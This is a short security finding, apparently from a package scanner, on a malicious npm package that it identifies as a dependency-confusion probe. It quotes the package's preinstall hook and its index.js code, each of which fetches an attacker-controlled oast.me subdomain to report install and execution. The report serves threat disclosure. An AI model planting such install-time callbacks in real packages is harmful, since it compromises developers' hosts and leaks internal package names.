## Public findings

### 1. High: Osv Malicious Advisory
- **Category:** External Intel
- **Confidence:** 100.0%

@oyo\_tech/oyochat\_user@99.99.99 is a dependency-confusion probe. package.json declares a preinstall script that runs \`node -e "fetch('https://dc.installed.da24gtar47nuepat1pu053x3cgyweiaom.oast.me/'+process.env.npm\_package\_name)"\`, causing \`npm install\` to make an outbound callback to an attacker-controlled interactsh (oast.me) subdomain and disclose that the package resolved on the installer's host. index.js additionally issues \`fetch("https://dc.executed.da24gtar47nuepat1pu053x3cgyweiaom.oast.me/oyochat\_user")\` on require/import, signalling that the package was actually loaded by a build. Distinct \`installed.\` and \`executed.\` subdomains under the same attacker-controlled OAST token are used to stage install-vs-execute telemetry. The 99.99.99 version and scoped org name are consistent with a dependency-confusion attack targeting an internal package name. Installing this package confirms code execution on the installer's host to the attacker and exposes the internal package name; the same install-time execution primitive can be trivially upgraded to arbitrary payload delivery.
